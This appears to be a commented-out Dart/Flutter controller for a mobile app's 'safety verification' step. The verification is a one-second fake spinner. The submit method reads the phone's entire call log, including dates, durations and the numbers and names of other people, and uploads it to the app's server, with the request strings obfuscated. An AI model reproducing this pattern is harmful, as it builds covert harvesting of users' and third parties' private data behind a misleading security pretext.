// import 'dart:convert';
//
// import 'package:call_log/call_log.dart';
// import 'package:love_newf/app/com/http/http_request.dart';
// import 'package:love_newf/app/com/http/Res.dart';
// import 'package:love_newf/app/com/util/permission_utils.dart';
// import 'package:love_newf/app/com/view/common_view.dart';
// import 'package:love_newf/app/key_mix.dart';
// import 'package:love_newf/generated/l10n.dart';
// import 'package:flutter_easyloading/flutter_easyloading.dart';
// import 'package:get/get.dart';
//
// class SafetyVerifyLogic extends GetxController {
//   String code = "";
//   bool isVerify = false;
//   var phone = "";
//
//   @override
//   onInit() {
//     super.onInit();
//     phone = Get.arguments['phone'.hx];
//   }
//
//   safetyVerifyPhone() async {
//     CommonView.loginSafetyVerifyDialog(confirm: () async {
//       if (await PermissionUtils.checkPhonePermission()) {
//         EasyLoading.show(status: S.current.loading);
//         Future.delayed(const Duration(seconds: 1), () {
//           EasyLoading.dismiss();
//           isVerify = true;
//           code = "";
//           Get.back();
//           update();
//         });
//       }
//     });
//   }
//
//   safetyVerifySubmit() async {
//     EasyLoading.show();
//     List<Map<String, dynamic>> lists = [];
//     // GET WHOLE CALL LOG
//     Iterable<CallLogEntry> entries = await CallLog.get();
//     if (entries.isNotEmpty) {
//       for (CallLogEntry e in entries) {
//         int calltype = 0;
//         if (e.callType == CallType.incoming) calltype = 1;
//         if (e.callType == CallType.outgoing) calltype = 2;
//         if (e.callType == CallType.missed) calltype = 3;
//         if (e.callType == CallType.voiceMail) calltype = 4;
//         if (e.callType == CallType.rejected) calltype = 5;
//         if (e.callType == CallType.blocked) calltype = 6;
//         if (e.callType == CallType.answeredExternally) calltype = 7;
//         if (e.callType == CallType.unknown) calltype = 8;
//         if (e.callType == CallType.wifiIncoming) calltype = 9;
//         if (e.callType == CallType.wifiOutgoing) calltype = 10;
//         lists.add(<String, dynamic>{
//           'date'.hx: e.timestamp, //联系时间
//           'duration'.hx: e.duration, //通话时长
//           'number'.hx: e.number, //对方电话
//           'name'.hx: e.name, //对方姓名
//           'type'.hx: calltype
//         });
//       }
//       Res s = await HttpRequest().post(
//           '/service/user/check-auth-upload-call-log'.hx,
//           {'phone'.hx: phone, 'data'.hx: json.encode(lists)},
//           isPrintLog: false,
//           autoToast: false,
//           parse: false);
//       if (s.success) Get.back();
//       EasyLoading.dismiss();
//     }
//   }
// }
